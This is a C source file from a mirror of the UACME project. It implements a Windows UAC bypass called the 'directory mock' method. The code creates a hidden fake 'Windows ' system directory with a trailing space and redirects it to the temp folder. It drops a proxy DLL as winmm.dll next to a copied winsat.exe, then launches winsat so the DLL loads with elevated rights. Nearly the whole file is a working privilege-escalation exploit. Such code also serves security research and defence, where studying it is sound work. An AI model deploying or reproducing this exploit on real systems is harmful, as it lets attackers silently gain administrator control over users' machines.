mirror of https://github.com/hfiref0x/UACME.git
152 lines
4.1 KiB
C
152 lines
4.1 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2018 - 2019
|
|
*
|
|
* TITLE: DWELLS.C
|
|
*
|
|
* VERSION: 3.17
|
|
*
|
|
* DATE: 18 Mar 2019
|
|
*
|
|
* David Wells based method.
|
|
*
|
|
* Original method URL:
|
|
* https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
/*
|
|
* ucmDirectoryMockMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* UAC bypass abusing GetLongPathNameW behavior during AIS.
|
|
*
|
|
*/
|
|
NTSTATUS ucmDirectoryMockMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
HANDLE hFakeWindows = NULL;
|
|
UNICODE_STRING usDirectoryName;
|
|
OBJECT_ATTRIBUTES ObjectAttributes;
|
|
|
|
WCHAR szPayloadDir[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
//
|
|
// Create destination dir "system32" in %temp%
|
|
//
|
|
_strcpy(szPayloadDir, g_ctx->szTempDirectory);
|
|
_strcat(szPayloadDir, L"system32\\");
|
|
if (!CreateDirectory(szPayloadDir, NULL)) {
|
|
if (GetLastError() != ERROR_ALREADY_EXISTS)
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Drop fubuki to %temp%\system32 as winmm.dll
|
|
//
|
|
_strcpy(szDest, szPayloadDir);
|
|
_strcat(szDest, WINMM_DLL);
|
|
if (!supWriteBufferToFile(szDest, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
//
|
|
// Copy winsat to %temp%\system32
|
|
//
|
|
_strcpy(szSource, g_ctx->szSystemDirectory);
|
|
_strcat(szSource, WINSAT_EXE);
|
|
|
|
_strcpy(szDest, szPayloadDir);
|
|
_strcat(szDest, WINSAT_EXE);
|
|
if (!CopyFile(szSource, szDest, FALSE))
|
|
break;
|
|
|
|
//
|
|
// Fake root.
|
|
//
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
szSource[0] = L'\\';
|
|
szSource[1] = L'?';
|
|
szSource[2] = L'?';
|
|
szSource[3] = L'\\';
|
|
_strncpy(&szSource[4], 4, g_ctx->szSystemRoot, 4);
|
|
_strcat(szSource, L"Windows ");
|
|
|
|
RtlInitUnicodeString(&usDirectoryName, szSource);
|
|
InitializeObjectAttributes(&ObjectAttributes, &usDirectoryName,
|
|
OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
if (!NT_SUCCESS(supCreateDirectory(
|
|
&hFakeWindows,
|
|
&ObjectAttributes,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)))
|
|
{
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Set reparse to %temp%.
|
|
//
|
|
_strcpy(szSource, L"\\??\\");
|
|
_strcat(szSource, g_ctx->szTempDirectory);
|
|
supSetMountPoint(
|
|
hFakeWindows,
|
|
szSource,
|
|
&szSource[4]);
|
|
|
|
//
|
|
// Run target application.
|
|
//
|
|
RtlSecureZeroMemory(&szSource, sizeof(szSource));
|
|
_strncpy(szSource, 4, g_ctx->szSystemRoot, 4);
|
|
_strcat(szSource, L"Windows \\system32\\");
|
|
_strcat(szSource, WINSAT_EXE);
|
|
if (supRunProcess(szSource, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
//
|
|
// Cleanup.
|
|
//
|
|
if (hFakeWindows) {
|
|
//
|
|
// Remove reparse point.
|
|
//
|
|
supDeleteMountPoint(hFakeWindows);
|
|
NtClose(hFakeWindows);
|
|
|
|
//
|
|
// Remove directory.
|
|
//
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
szSource[0] = L'\\';
|
|
szSource[1] = L'?';
|
|
szSource[2] = L'?';
|
|
szSource[3] = L'\\';
|
|
_strncpy(&szSource[4], 4, g_ctx->szSystemRoot, 4);
|
|
_strcat(szSource, L"Windows ");
|
|
|
|
RtlInitUnicodeString(&usDirectoryName, szSource);
|
|
InitializeObjectAttributes(&ObjectAttributes, &usDirectoryName,
|
|
OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
NtDeleteFile(&ObjectAttributes);
|
|
}
|
|
return MethodResult;
|
|
}
|